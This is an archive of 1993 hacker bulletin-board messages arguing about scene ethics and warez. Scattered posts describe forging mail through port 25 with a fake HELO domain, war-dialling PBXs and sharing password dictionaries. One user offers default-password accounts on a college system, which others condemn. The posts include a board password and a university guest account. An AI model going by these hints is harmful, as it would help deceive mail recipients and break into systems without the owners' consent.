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To: johndeer@yabbs
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Subject: re: Call overseas
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Date: Wed Nov 3 21:33:14 1993
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Don't most places log every telnet? Actually, I've sent mail (fake) that
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way, causing some problems, but they didn't figure out who it was. I
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guess their tracing abilities aren't too good. It's still better to just
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do it from some anon source. I guess this was what you were asking.
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JasonLee
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From xenon@yabbs Wed Nov 3 21:43:35 1993
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From: xenon@yabbs
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To: jasonlee@yabbs
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Subject: re: Call overseas
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Date: Wed Nov 3 21:43:35 1993
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yer talkin bout port 25? thats NOT a secure way to send fake mail...take
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jl's advice and use an anon service...only REAL secure way, tho, is not to
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use yer own account, but...
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--> Xenon
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From cosmos@yabbs Thu Nov 4 06:36:05 1993
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From: cosmos@yabbs
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To: mindstrm@yabbs
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Subject: re: SunOS UNIX
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Date: Thu Nov 4 06:36:05 1993
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Good point. Yes, the good days are over. However, I try to stay away
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from the elite fuckers as well. Nothing but attitude and pompous little
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teenagers.
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The real hard core stuff is passed in small circles.
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Cosmos
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From cosmos@yabbs Thu Nov 4 06:38:08 1993
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From: cosmos@yabbs
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To: jasonlee@yabbs
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Subject: re: Call overseas
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Date: Thu Nov 4 06:38:08 1993
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Yeah, port 25 is the sendmail port. However, any decent sysadmin can
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trace you through the headers. A nice thing to do is to telnet into a VM
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system via port 25 and issue a fake domain during HELO. VM takes anything
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you give it...most modern UNIX sendmails will grab your address anyway and
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stick it in the header...
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Cosmos
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From carsenio@yabbs Thu Nov 4 16:56:58 1993
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From: carsenio@yabbs
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To: johndeer@yabbs
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Subject: re: Call overseas
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Date: Thu Nov 4 16:56:58 1993
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quick correction john..
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pardon my perfectionism, but it's:
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"allez-vous a une bibliotheque" not "allez-vous un bibliotheque"
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call me petty. =-)
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luego...
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-carsenio
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From Beetle@yabbs Thu Nov 4 20:18:34 1993
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From: Beetle@yabbs
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To: vapor@yabbs
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Subject: re: 40hex
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Date: Thu Nov 4 20:18:34 1993
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You asked about 40-hex, and others have been wanting scanners.... If you
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don't mind calling out (The system doesn't have an Internet connection)
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you can get all of the above from CoI at 818-447-2667... large collection
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of H/P Utils, Viruses, and Info...
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From binkley@yabbs Fri Nov 5 01:59:33 1993
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From: binkley@yabbs
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To: all@yabbs
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Subject: accounts
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Date: Fri Nov 5 01:59:33 1993
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I have some accounts people can use for un-traceable usage. There is a
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system I'm on, a college system, but the security is AAWFUL! so, about 1/2
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half of the accounts on there have never been touched, they were set up
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for people who never used it, and the passwords come default, the same as
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the login....!!! E-mail me here, or at ia30037@maine.maine.edu Don't mail
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me at bernard@access.caps.maine.edu cause that's the system, and I don't
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want any info about it on it under my name....
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Binkley
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From moth@yabbs Fri Nov 5 04:01:12 1993
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From: moth@yabbs
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To: xenon@yabbs
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Subject: re: Call overseas
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Date: Fri Nov 5 04:01:12 1993
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Could you please explain a bit more ?
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I would also like some infos on PABX and PBX systems
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I'm not from the USA but Africa.
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Regards
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moth
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From horus@yabbs Fri Nov 5 06:03:14 1993
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From: horus@yabbs
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To: Beetle@yabbs
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Subject: re: 818-447-2667
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Date: Fri Nov 5 06:03:14 1993
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I tried the BBS you mentioned, but I don't have the system password.
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Anyway you can give it to me? I'm starting a war dial on pbx's and would
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apprectiate any pbx crackers that are out there.
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Thanks
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Horus Min /\o/\
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From jasonlee@yabbs Fri Nov 5 06:15:49 1993
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From: jasonlee@yabbs
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To: carsenio@yabbs
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Subject: french stuff
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Date: Fri Nov 5 06:15:49 1993
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Ou peut-etre: va-t'en a la bibliotheque!
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C'est tout, j'espere.
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JasonLee
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From jasonlee@yabbs Fri Nov 5 06:18:53 1993
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From: jasonlee@yabbs
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To: all@yabbs
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Subject: Complaining about C
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Date: Fri Nov 5 06:18:53 1993
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Well, I don't really like Natural Language Understanding. This assignment
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is just basically annoying, and its 5:19 AM, and I odn't feel like
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finishing. I'm not even too far from being done, but I'm tired, and I
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have to get up later this morning.
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gr.
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JasonLee
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From moth@yabbs Fri Nov 5 09:11:42 1993
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From: moth@yabbs
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To: all@yabbs
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Subject: re: Member Wanted!
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Date: Fri Nov 5 09:11:42 1993
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where does one signe up ?
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Got an Amiga 1200. Wanna get a 14.4k soon (if money permits).
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Live abroad.
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Cherio
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From pyro@yabbs Fri Nov 5 10:33:55 1993
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From: pyro@yabbs
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To: binkley@yabbs
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Subject: re: accounts
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Date: Fri Nov 5 10:33:55 1993
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Spare us the tirade on your giving out accounts. Do you realize how
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stupid it is for you to post such nonsense? Not only are you opening
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yourself up to a very large audience that you have illicit accounts, you
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might just be putting this BBS in jeopardy.
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Why don't you just come out and say: "Hey everyone, I have k00l accounts
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that are illegal but if you want them mail me and I will give them
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out..!!1!!11!!1!!!"
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I am not sitting on some high horse looking down at the hacking world, I
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am just looking down and the completey idiocy some people display. You
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should value such resources as this BBS and htoaster's time in writing it
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and supporting it, not abuse it with worthless garbage. Run yoour own
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damn BBS sometime that is this open and free and advertise that you give
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out free accounts on somone else's system and see how long it stays up.
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The bottom line? Think you moron.
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-The Pyro
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From Beetle@yabbs Fri Nov 5 12:06:09 1993
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From: Beetle@yabbs
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To: horus@yabbs
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Subject: re: 818-447-2667
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Date: Fri Nov 5 12:06:09 1993
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The System Password is "TYBO CHEESE" for all it's worth, though... You
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still need an account there... just press APPLY and tell the sysop you got
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the number offa here, and you'll be taken care of...
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From Prism@yabbs Fri Nov 5 15:08:20 1993
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From: Prism@yabbs
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To: Screamin@yabbs
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Subject: re: <no title>
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Date: Fri Nov 5 15:08:20 1993
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What is ANI?
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From cosmos@yabbs Fri Nov 5 16:21:37 1993
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From: cosmos@yabbs
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To: pyro@yabbs
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Subject: re: accounts
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Date: Fri Nov 5 16:21:37 1993
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Good Shot I say!! Very well put chap!
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*grin*
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Cosmos
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From cosmos@yabbs Fri Nov 5 16:22:34 1993
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From: cosmos@yabbs
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To: Prism@yabbs
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Subject: re: <no title>
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Date: Fri Nov 5 16:22:34 1993
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ANI....Automatic Number Identification. Caller ID in layman terms.
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Cosmos
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From gurujam@yabbs Fri Nov 5 16:52:39 1993
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From: gurujam@yabbs
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To: pyro@yabbs
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Subject: re: accounts
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Date: Fri Nov 5 16:52:39 1993
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dear pyro:
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if these accounts are so dangerous, why do they let us have them?
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Also, it seens that many of us do not access to all the groups that are on
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this board. It is that you would prefer to have this information release d
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to
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a smaller audience, or just to save one's ass when the person get caught
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and points here?
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usage of these accounts is dangerous and it is possibly illegal that much
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of the information and pictures and lyrics we use from day to day on the
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internet. What we must decide is that having at most 30 people have access
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to the accounts, or just let them hack at these systems and take up
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bandwidth and cause others to lose their right to the site.
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I really don't care...but information is never free. in this world of
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hacking, any info is better than none.
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gurujam
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From griton@yabbs Fri Nov 5 19:37:50 1993
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From: griton@yabbs
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To: htoaster@yabbs
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Subject: Yo! :)
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Date: Fri Nov 5 19:37:50 1993
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Yo sysop..
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I'm here...
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well, i entry qby x25 gateway.. i'm from Argentina
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South America..
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it's a c00l board..
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one ask.. exist elite area??? :)
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see ya
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El Griton/WL
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{/s
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From griton@yabbs Fri Nov 5 19:39:23 1993
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From: griton@yabbs
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To: all@yabbs
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Subject: Virtual Machine
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|
Date: Fri Nov 5 19:39:23 1993
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Hey guys!
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i hack a ystem with vm so
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any know how i can use the pad option?
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or to connct to another sites, with bitnet...
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which comands?
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tnxs.
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see ya
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El Griton
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From cosmos@yabbs Fri Nov 5 20:06:19 1993
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From: cosmos@yabbs
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To: gurujam@yabbs
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Subject: re: accounts
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Date: Fri Nov 5 20:06:19 1993
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Thank you for your post. Too bad it made no fucking sense at all. You
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are of the Intruder class of user, that much is evident. Pyro is 100%
|
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justified in his post and his post was crystal clear both in logic and in
|
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it's writing.
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Information should always be as free as possible, but k00l accounts are
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|
not (or should not be) considered such. That is the kind of stuff that
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|
will bring this board down and get the site in a shitload of trouble.
|
|
Besides, handing out accounts is not hacking. If you want philanthropy
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|
check out your local k-RaD 3lit3 H/P board.
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Cosmos
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From xenon@yabbs Fri Nov 5 20:34:21 1993
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From: xenon@yabbs
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To: moth@yabbs
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Subject: re: Call overseas
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Date: Fri Nov 5 20:34:21 1993
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basically, a GOD allows you to call anywhere in the world...in the barest
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sense, a session would be: call the GOD number and itll give ya a
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dialtone. from there, you can call anywhere...HOWEVER, its not that easy
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in practice...
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whatcha wanna know bout PBXs? jus what they are?
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--> Xenon
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From xenon@yabbs Fri Nov 5 21:21:04 1993
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From: xenon@yabbs
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|
To: cosmos@yabbs
|
|
Subject: re: accounts
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|
Date: Fri Nov 5 21:21:04 1993
|
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|
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what has happened to the world? why do people keep posting such BS?
|
|
there is a generation of people growing up who, beacuse of the portrayal
|
|
of a "hacker" by the media, aspire to do nothing more than break into
|
|
systems for their own gratification and, more importantly, gain the
|
|
respect of their misguided peers by passing on the reports of their /<ewl,
|
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3l33t activities...gurujam's posts clearly reflect this sad mentality and
|
|
it scares me that the numbers of these "hackers" are growing expotently
|
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every day.
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im sure members of various governmental groups are more than happy to see
|
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people like this running rampart throughout the electronic community for
|
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it allowes them to fed this information directly to the media which does
|
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its job by printing horror stories to the world, full of technical errors
|
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which the media is so good at doing, so that every citizen lives in fear
|
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of thoe "crazy cyberpunk-kids." this way, public support shifts to those
|
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"great men in uniform" who save their family from a world of "evil
|
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hacker-types." yes, im sure members of such agencies, like the grand ol
|
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secret service, love being able to trample all over citizens
|
|
constitutional rights in the name of justice...
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why would this bbs be in possible jepordy because of gurujam's sayings
|
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here? well, logically, it wouldnt at all! just because i tell someone of
|
|
a security holedoesnt make me a criminal, but add the word computer in
|
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there, and to the eyes of the close-minded public, it not only turns me
|
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into a criminal, but a extremly dangerous felon who deserves to be burned
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at the stake as soon as possible.
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EDUCATION people! guruham, it looks af if you have a legitimate internet
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account or two...USE THEM to LEARN! grab the text files...any file you
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can and READ! see what a hacker really is. dont be swept into the
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romantic image of a hacker and become just another statistic on sum
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governmental chart! yes, maybe the system sucks big time, but turn yer
|
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rebellion into something that will have a MUCH bigger impact on society.
|
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I can relate since i have a past which i am ashamed of, but i somehow
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survived and LEARNED from it. i learned that the gratification and
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respect i gained from my peers right THEN is no match to the exilleration
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i will feel when i, along with a powerful underground, can CHANGE the
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system!
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i am but i am but one person, who at this point knows very little. what
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can i do? learn humility and make valuable allys and feed from their
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brain...figure out whats wrong with the system. when the time comes, if
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the underground is able to survive this injustice, and i hope to god it
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will, the results will be as potent as any orgasm...
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anywayz, off the soapbok...
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--> Xenon
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From Keman@yabbs Fri Nov 5 22:52:19 1993
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From: Keman@yabbs
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|
To: all@yabbs
|
|
Subject: hacking in general
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|
Date: Fri Nov 5 22:52:19 1993
|
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ok here's the deal I know nothing of the nets....this is where I'm trying
|
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to learn I've kept my mouth shut and ears open but I havent seen one
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person post anything that would help me except for numbers that are out of
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state and text files and read read read....the last I have no problem with
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since I do it anyway... but it would help if I could find somone who know
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what the hell they're talking about and post it....sorry to be this way
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|
but I'm tired of people that have know ide )G<{of what hacking is posting
|
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lame messages.....so if you know something useful ..Cosmos...Pyro...post
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it because I haven't seen you post anything but criticism...sorry this is
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not a personal thing just an observation from somone new...
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Sincerely,
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Keman
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From pyro@yabbs Sat Nov 6 03:08:43 1993
|
|
From: pyro@yabbs
|
|
To: all@yabbs
|
|
Subject: The World...
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|
Date: Sat Nov 6 03:08:43 1993
|
|
|
|
Let me just make a few opoints clear. I have been a member of the hack
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|
community for about 10 years now. I look back on such systems as Metal
|
|
Shop Private, Speed Demon Elite, Atlantis, Safehouse, etc, etc, etc...
|
|
with mucu nostalgia. But times have changed, and people have to realize
|
|
that. There will never be anything like the old days. They are gone.
|
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Thats like saying you can bring back the 60's in todays world. It cannot
|
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be done. We are in a world where 100 times more people use computers and
|
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an electronic medium to communicate than in days past. because of this
|
|
explosion in use steps must be taken to protect the few sites remaining to
|
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the masses at absotely no charge.
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Offering to give out hacked accounts to any schmo who would simply ask for
|
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them is ludicrous. It is a very good way to get one of these few precisou
|
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open forums that exist free of charge, namely this one, removed for good.
|
|
Common sense is a trait that was alive back then, but seems to be dying
|
|
these days. We did not simply log on to a public BBS back in the early
|
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80's and say "Hey d00ds, I got accounts, mail me for some" and we should
|
|
not start doing that today.
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This BBS could be used as a learning place for those who would like to
|
|
understand the hack community, but its public nature will always prevent
|
|
it from being a place to learn serious hacking information. The levels of
|
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intelligence are too far spread out. Only private, limited access systems
|
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will promote the distribution of illicit facts and figures.
|
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The bottom line is very simple, but I will repeat it again. This BBS is a
|
|
great place to learn about the hack community, but do not be fooled in to
|
|
thinking it is a forum for learning how to hack. You want to learn the
|
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how part of it all? I have one sure fre answer to help you out: START RE
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READING.
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I run a totally open and public BBS such as this, and I have a philosophy
|
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that I am sorry to say is coming true: SPOON FEEDING.
|
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If you truly aspire to learn anything and to retain and build upon such
|
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knowledge you must take the initiative and learn it your self, you cannot
|
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expect people to spoon feed you everything you need to know.
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Xenon: I think you need to spot thinking of it all as some political
|
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crusade against the, as the kiddies here in 612 put it, Evil Pig Empire.
|
|
And everyone must realize that there will be no revival, there will be no
|
|
return to the old days. They are gone. You cannot simply compare today
|
|
with the past. The situations are totally different.
|
|
|
|
I just like Phred, and I would love to see it stay up and grow. Htoaster
|
|
has put too much time in to it to have it degenerate in to some spoon feed
|
|
session on hacking... Read back a few hundred messages, he said this.
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|
I must also say there is nothing wrong with serious discussion on software
|
|
design or problems. This type of discourse enlightens those intelligent
|
|
enough to follow it. Anyway, this is a long post. And I am sure some
|
|
people will whole heartedly disagree with me. Fine, it is your right to
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do so. Just do it intelligently.
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-The Pyro
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From xenon@yabbs Sat Nov 6 13:48:31 1993
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From: xenon@yabbs
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To: pyro@yabbs
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Subject: re: The World...
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Date: Sat Nov 6 13:48:31 1993
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ok, pyro. im not tryin to get back the old dayz. i guess my posts sort
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convey the idea that im lookin back and sayin, "why cant it be like it
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wuz." i know times change and that change is necessary. since we live in
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an explosive time, meaning technology is changing at such a fast rate, i
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see the current change as a chaotic mess. now, if ya wanna get into a
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discussion of the values of chaos and anarchy, go ahead. im not sayin its
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good or bad right now. i dunno. what i am tryin to say, though, is that
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people need to understand their roots. history has a way of repeating
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itself since people dont look at the pst and learn from others mistakes.
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ive never been one for history...i alwayz blew it off as unimportant, but
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now, i am startin to realize that history is VERY important and i guess
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that my main concern and why i keep talkin bout the old dayz...not to
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bring em back, but so people will read about the past and mebbe gain an
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understanding, or more so, learn from the past and apply that knowledge to
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work towards the future.
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everyone has their own personal goals they are workin towardz. this is
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good. this is diversity that is needed. even people striving towards the
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same sort of goal have different perspectives of what theyre workin
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to achieve. im not lookin fer a world full of cookie-cutter people all
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holding the same ideas. add yer own flavoring to the soup and make it
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better for yerself.
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WaReZ d00dz, cardersc0de headz, whatever, they all have their place. im
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not passing judgement on anyone...i feel that if ya start to pass
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judgement and catagorize people, yer closin yer mind to the ideals of
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others. that is why i ran a totally anon, free to all bbs (and will again
|
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when i get a new HD). i wanted to provide a relaxed atmosphere where
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people could post their ideals and read the ideals of others.
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well, this is sorta a hodge-podge post...forgive me...jus whaen i talk
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bout the "good ol dayz" im tryin to awaken people to the past so they
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might get interested and read and learn from it. im not sayin what a
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hacker SHOULD be...thats different from person to person. im jus sayin
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that there are a lot of definations out there and mebbe someones ideas
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might awaken somethin in you and add more flavor to yer life and ideals.
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well, before i ramble on more...l9er
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--> Xenon
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From binkley@yabbs Sat Nov 6 16:53:34 1993
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From: binkley@yabbs
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To: pyro@yabbs
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Subject: re: The World...
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Date: Sat Nov 6 16:53:34 1993
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Well, one way to learn is by experiance. if you give people a place to go,
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and use an account to play around with. they can telnet to sites, and play
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around without worring about having their account closed because of
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suspicious activity.
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You are right, read, and learn as much as you can, but learning is
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best inforced by uusing what you know...
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OQ
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Binkley
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From cosmos@yabbs Sat Nov 6 16:59:55 1993
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From: cosmos@yabbs
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To: binkley@yabbs
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Subject: re: The World...
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Date: Sat Nov 6 16:59:55 1993
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Wrong. That is no justification for handing out accounts on phred.
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Cosmos
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From xenon@yabbs Sat Nov 6 17:01:23 1993
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From: xenon@yabbs
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To: binkley@yabbs
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Subject: re: The World...
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Date: Sat Nov 6 17:01:23 1993
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i have no problem with sumone giving out an account so sumone can learn
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from it...jus tell em to use the account wisely and theyll probably to be
|
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able to keep it for a while...
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--> Xenon
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From xenon@yabbs Sat Nov 6 17:09:34 1993
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From: xenon@yabbs
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To: xenon@yabbs
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Subject: re: The World...
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Date: Sat Nov 6 17:09:34 1993
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oh, i ment passing out accounts in a private place...not on a public bbs
|
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like this one...definately not /<ewl...
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From swami@yabbs Sat Nov 6 18:46:27 1993
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From: swami@yabbs
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To: all@yabbs
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Subject: re: The World...
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Date: Sat Nov 6 18:46:27 1993
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Hey, Cosmos, Xenon, Pyro....
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Why are ya'll bothering? Unfortunately you're wasting your breath on
|
|
most people. I realize that phred is a great system and needs to be
|
|
kept up, but half of the messages here are the same shit. Maybe you
|
|
need to make a FAQ? <g>.
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swami
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From binkley@yabbs Sun Nov 7 11:17:20 1993
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From: binkley@yabbs
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To: xenon@yabbs
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|
Subject: re: The World...
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|
Date: Sun Nov 7 11:17:20 1993
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There isn't a way to get in trouble on there, unless they're dumb enough
|
|
to mail Admin telling them to f*&k off or omething like that. it's not a
|
|
unix, and there isn't anything that can be destroyed. it's just a place to
|
|
telnet from, if you don't want to be logged as you...
|
|
OQ
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From pyro@yabbs Sun Nov 7 13:26:46 1993
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From: pyro@yabbs
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To: all@yabbs
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Subject: Look...
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|
Date: Sun Nov 7 13:26:46 1993
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|
I am just saying people need to be more aware of their actions.
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|
|
|
Advertising the fact that you will give out illegal accounts if you mail
|
|
me (wait, thats confusing...). Anyway, you get the point. You never know
|
|
who is just waiting for a reason to get people in trouble.
|
|
|
|
You cannot sit there and offerto give out accoutns to a system you do not
|
|
own on a public BBS. Simple.
|
|
|
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|
|
From Graf@yabbs Sun Nov 7 15:29:03 1993
|
|
From: Graf@yabbs
|
|
To: all@yabbs
|
|
Subject: Tempest
|
|
Date: Sun Nov 7 15:29:03 1993
|
|
|
|
Does anyone know where I can get any info about Tempest, also known as a
|
|
Van Eck detector, which is a device that allowes you to monitor the
|
|
electromagnetic emissions from computers and other electronic devices. I
|
|
fournd the one file on EFF, are there more? Thanks.
|
|
|
|
From maestro@yabbs Sun Nov 7 16:54:41 1993
|
|
From: maestro@yabbs
|
|
To: all@yabbs
|
|
Subject: The Shits
|
|
Date: Sun Nov 7 16:54:41 1993
|
|
|
|
This Is Definitely The Shits, I Completely forgot about this system until
|
|
today, which i havent logged on for a while, and I read some of the
|
|
messages, and i see peopl trying to be elite, and think they can hack and
|
|
phreak, sure anyone can hack/phreak if they try, but all these people are
|
|
just leaching and not even Hacking or PHREAKING. Wow! I just figured out
|
|
how to dialout! I'm a Hacker!
|
|
|
|
Probably the problem is, that this can be accessed by ANYONE, You see In
|
|
My Area Code, It is probably the most shittiest, There are maybe 5 people
|
|
in my area code that have Unix Accounts and would be able to access things
|
|
because they would fuck things up royally, Makling my point, If someone
|
|
gets a freenet installed in their town, that means more idiots get access
|
|
and try to fuck things up for us
|
|
|
|
i was reading about sites here, and whoever was giving them out was a bad
|
|
idea, If a Law Enforcement Agency Got A Hold of What You just said and if
|
|
you posted one, this entire system would go down, now wouldn't you feel
|
|
bad? Probably not, You Would Probably Pat Yourself on the Back, For TAKING
|
|
down a good BBS For the Public, and think to yourself 'Oh Boy, At least I
|
|
never got Busted'.
|
|
|
|
Anyone asking how to hack and phreak, I suggest You find out for yourself,
|
|
I found everything I needed to Know By Learning the ropes of the system,
|
|
sure, when i came into the modemmings scene in 1986, I was a WaReZ R0DenT,
|
|
thinking I was Awesome. I then went on to Think I was COOL and accepted
|
|
because I was in groups and etc, until finally i realized, they are
|
|
stupid, and to find out more information you learn to go solo, and find
|
|
out things for yourself, not by asking people for Accounts, password
|
|
files, and other lame shit.
|
|
|
|
Basically my point is, Learn Yourself And Dont Be a Leech.
|
|
|
|
Oh yeah. P.S. - Cut the K-RAD elYte WarezWorDz NiFTy shit. Read A
|
|
Dictionary.
|
|
|
|
Maestro
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|
|
|
From cosmos@yabbs Sun Nov 7 16:59:29 1993
|
|
From: cosmos@yabbs
|
|
To: maestro@yabbs
|
|
Subject: re: The Shits
|
|
Date: Sun Nov 7 16:59:29 1993
|
|
|
|
|
|
heh
|
|
|
|
86?? Interesting. I started my warez crap in 83 and ventured into the
|
|
net scene during late 1985...I even remember getting my first text file
|
|
from a guy on a local CHicago board...I really do thank Craig Nierdorf for
|
|
the good times.
|
|
|
|
Good points...I doubt they will listen.
|
|
|
|
Cosmos
|
|
|
|
From Alvin@yabbs Sun Nov 7 17:02:07 1993
|
|
From: Alvin@yabbs
|
|
To: comrade@yabbs
|
|
Subject: re: AWA
|
|
Date: Sun Nov 7 17:02:07 1993
|
|
|
|
you loser.
|
|
you suck.
|
|
|
|
From cosmos@yabbs Sun Nov 7 19:37:27 1993
|
|
From: cosmos@yabbs
|
|
To: Alvin@yabbs
|
|
Subject: re: AWA
|
|
Date: Sun Nov 7 19:37:27 1993
|
|
|
|
Okay, I read the AWA post. I agree, warez is a pathetic phenomena but
|
|
also feel the society(AWA) and documents dedicated to bashing it is
|
|
childish and accomplishes nothing.
|
|
|
|
However, if you want to flame him for the post, please take it to private
|
|
e-mail, as I and others do not wish to read a private "you lamer" type war
|
|
on the public boards.
|
|
|
|
Cosmos
|
|
|
|
From graph-x@yabbs Mon Nov 8 01:14:58 1993
|
|
From: graph-x@yabbs
|
|
To: Keman@yabbs
|
|
Subject: re: hacking in general
|
|
Date: Mon Nov 8 01:14:58 1993
|
|
|
|
Could you by any chance be Keman-R-HOT-4?
|
|
|
|
|
|
From horus@yabbs Mon Nov 8 18:01:12 1993
|
|
From: horus@yabbs
|
|
To: all@yabbs
|
|
Subject: sleepy usu.edu
|
|
Date: Mon Nov 8 18:01:12 1993
|
|
|
|
I knew it! you guys can't be trusted. Well the sleepy guest account is no
|
|
more!
|
|
If I ever see another post for a machine that I have an interest in, I'm g
|
|
oing to ask toastie to delete it. :(
|
|
|
|
|
|
From m-intent@yabbs Mon Nov 8 18:17:04 1993
|
|
From: m-intent@yabbs
|
|
To: all@yabbs
|
|
Subject: Therion's PW Utility.
|
|
Date: Mon Nov 8 18:17:04 1993
|
|
|
|
I heard a rumor from someon on IRC that a UNIX utility exists
|
|
called "Therion's PW Utility." I guess that it's from denmark. I have
|
|
never seen any of it around, and I would like to taker a look at it
|
|
sometime... Any of you have it?
|
|
|
|
And, also : a good batch of dictionaries exists on ftp.uu.net in the
|
|
doc/dictionaries directory.. Those of you into UNIX security may want to
|
|
check those out.
|
|
|
|
Also, what other FTP sites are any oggd these days? dictionaries, etc..
|
|
drop me a line..
|
|
|
|
-Malicious Intent
|
|
m-intent@prop.mn.org
|
|
|
|
From schief@yabbs Mon Nov 8 18:26:05 1993
|
|
From: schief@yabbs
|
|
To: horus@yabbs
|
|
Subject: re: sleepy usu.edu
|
|
Date: Mon Nov 8 18:26:05 1993
|
|
|
|
no, it's still there, just some smartass decided "gee, i think i'll change
|
|
the password so only i can get in", because someone logged in yesterday
|
|
afternoon and this morning too...
|
|
|
|
From Cratar@yabbs Mon Nov 8 18:40:58 1993
|
|
From: Cratar@yabbs
|
|
To: horus@yabbs
|
|
Subject: re: sleepy usu.edu
|
|
Date: Mon Nov 8 18:40:58 1993
|
|
|
|
what happened to that.... i was going to logon for the fun of it,
|
|
but it wouldnt let me..... i thought it was nifty to be able to l
|
|
loggon to another vax. I was actually going to try to telnet to phred
|
|
from there.... oh well......
|
|
|
|
Mity Cratar
|
|
(After 1 year i finally post!!!! )
|
|
|
|
From johndeer@yabbs Mon Nov 8 21:01:38 1993
|
|
From: johndeer@yabbs
|
|
To: all@yabbs
|
|
Subject: stuff
|
|
Date: Mon Nov 8 21:01:38 1993
|
|
|
|
graf:
|
|
you have your terms slightly off.. to TEMPEST a machine is to PREVENT its
|
|
RF emisisons from being picked up by a Van Eck...
|
|
|
|
m-intenet:
|
|
Therion's Password utility is basicaly a dictionary manipulator.. it
|
|
sorts, convert case, etc. it's probbaly better than the ones provided
|
|
with KC or crackerjack. and it can handle very large dictionaries by using
|
|
man swap files, etc.. check out black.ox.ac.iuk (ftp) form some more
|
|
dictionaries.
|
|
|
|
|
|
jasonlee and the other guy talking aout telnet 25:
|
|
pardon myh ignorance.. but is it really efficient for sysadmins to log all
|
|
outoing telnets? on large systems with many users, i'd image the log
|
|
would be huge in just one day... also, th HELO is passed inthe mail as
|
|
well? i thought you'd just get the RCPT TO: and the from..
|
|
|
|
john Deere
|
|
|
|
From jasonlee@yabbs Mon Nov 8 23:25:58 1993
|
|
From: jasonlee@yabbs
|
|
To: johndeer@yabbs
|
|
Subject: re: stuff
|
|
Date: Mon Nov 8 23:25:58 1993
|
|
|
|
Well, about port 25, the sysadmins here are rather touchy about the
|
|
security of the system, so the watch people pretty well. Actually, about
|
|
half the time I send mail to that system via port 25, it doesn't ever get
|
|
through! I'm pretty positive I'm doing everything right, so I don't know
|
|
what's causing it other than sysadmin activity? Strange system?
|
|
Something else?
|
|
|
|
JasonLee
|
|
|
|
From horus@yabbs Mon Nov 8 23:27:45 1993
|
|
From: horus@yabbs
|
|
To: johndeer@yabbs
|
|
Subject: tempest
|
|
Date: Mon Nov 8 23:27:45 1993
|
|
|
|
TEMPEST also comes in a wallpaper. Caps,coils, and all.
|
|
|
|
From xela@yabbs Tue Nov 9 02:58:41 1993
|
|
From: xela@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: toronto dial-out
|
|
Date: Tue Nov 9 02:58:41 1993
|
|
|
|
Without trying to sound like a newbie, I have seen the telnet address for
|
|
a dialout in Toronto and mention of an anonymous dial-out from JHU. Is
|
|
this Johns hopkins university? I go there and have not heard of any
|
|
dial-out, at least on this section of the campus.
|
|
|
|
Anyway, see ya.
|
|
|
|
Alex
|
|
|
|
|
|
From cosmos@yabbs Tue Nov 9 06:05:49 1993
|
|
From: cosmos@yabbs
|
|
To: griton@yabbs
|
|
Subject: re: Virtual Machine
|
|
Date: Tue Nov 9 06:05:49 1993
|
|
|
|
Yes, thank you for informing me, I would have never known that.
|
|
|
|
(The above post is dripping with sarcasm, people read who writes the
|
|
original question, for it sure as hell was not me asking about VM.)
|
|
|
|
Cosmos
|
|
|
|
From binkley@yabbs Tue Nov 9 10:15:33 1993
|
|
From: binkley@yabbs
|
|
To: all@yabbs
|
|
Subject: ...
|
|
Date: Tue Nov 9 10:15:33 1993
|
|
|
|
I don't see why people who are into warez, and people who are into H/P/A
|
|
can't get along. Warez groups make software free for all, and what the
|
|
hell is wrong with that?!?! BUt why can't both worlds get along. H/P/A
|
|
want's information, and access to be free, both groups are working against
|
|
each other half of the time.. always bickering, you fucking warez puppy,
|
|
you elite fuck! KoDe KiDz! Yuch! get over it!
|
|
|
|
|
|
Also I would like to appologize, I didn't figure I was putting this
|
|
BBS in danger of being closed down...
|
|
sorry
|
|
binkley
|
|
|
|
From wonko@yabbs Tue Nov 9 13:25:17 1993
|
|
From: wonko@yabbs
|
|
To: xenon@yabbs
|
|
Subject: re: accounts
|
|
Date: Tue Nov 9 13:25:17 1993
|
|
|
|
clap clap clap clap clap
|
|
|
|
you can have the soapbox whenever you want it.
|
|
|
|
-wonko
|
|
|
|
From wonko@yabbs Tue Nov 9 13:28:50 1993
|
|
From: wonko@yabbs
|
|
To: pyro@yabbs
|
|
Subject: re: The World...
|
|
Date: Tue Nov 9 13:28:50 1993
|
|
|
|
clap to you too.
|
|
|
|
i can not say that i desagree with you, but i cannot say i agree
|
|
100% with you either. if we would take your posts and xenon's posts
|
|
and merge them, i think we have my standing on the situation.
|
|
|
|
-wonko
|
|
|
|
From wonko@yabbs Tue Nov 9 13:40:51 1993
|
|
From: wonko@yabbs
|
|
To: wonko@yabbs
|
|
Subject: VM
|
|
Date: Tue Nov 9 13:40:51 1993
|
|
|
|
trying to do anything from VM is a waste of time really.
|
|
|
|
-wonko
|
|
|
|
From wonko@yabbs Tue Nov 9 13:46:02 1993
|
|
From: wonko@yabbs
|
|
To: all@yabbs
|
|
Subject: Sun Security
|
|
Date: Tue Nov 9 13:46:02 1993
|
|
|
|
ok, like i said, i will be getting a sun, i think it will be running SunOS
|
|
4.1.1 so any security info you have would be great. my sysadmin on fubar
|
|
is a security nut so i will always have his input, but he was never much
|
|
of a hacker. so he never got to experience it from the other side. i am
|
|
asking you seasoned vertrans to help me out with possable security loop
|
|
holes that we may overlook.
|
|
|
|
thanks,
|
|
|
|
-wonko
|
|
|
|
From cosmos@yabbs Tue Nov 9 14:13:39 1993
|
|
From: cosmos@yabbs
|
|
To: binkley@yabbs
|
|
Subject: re: ...
|
|
Date: Tue Nov 9 14:13:39 1993
|
|
|
|
Warez is lame. If you want to trade software, fine do it. But fucking
|
|
elitist boards with 0-3 day warez and people having to beg to get on the
|
|
stupid lame boards is what is my gripe. Do not compare the two, there is
|
|
no greatness in warez, there is no talent, any dork can be a warez kiddie.
|
|
|
|
|
|
Warez can suck my dick.
|
|
|
|
Cosmos
|
|
|
|
From jasonlee@yabbs Tue Nov 9 14:19:11 1993
|
|
From: jasonlee@yabbs
|
|
To: xela@yabbs
|
|
Subject: re: toronto dial-out
|
|
Date: Tue Nov 9 14:19:11 1993
|
|
|
|
Hey, a fellow Hopkins guy. Well, the dial-out is still there, but has
|
|
never worked (at least not to my knowledge, and I was probably the second
|
|
person to find out about it). Anyway, we've got some neat stuff hidden
|
|
around our little ISN bridge stuff...
|
|
If you'd still like to find the dialout, think decnet (hint).
|
|
|
|
JasonLee
|
|
|
|
From jasonlee@yabbs Tue Nov 9 14:24:12 1993
|
|
From: jasonlee@yabbs
|
|
To: binkley@yabbs
|
|
Subject: re: ...
|
|
Date: Tue Nov 9 14:24:12 1993
|
|
|
|
Well, I think the problem is that most (or a lot) of the warez puppies
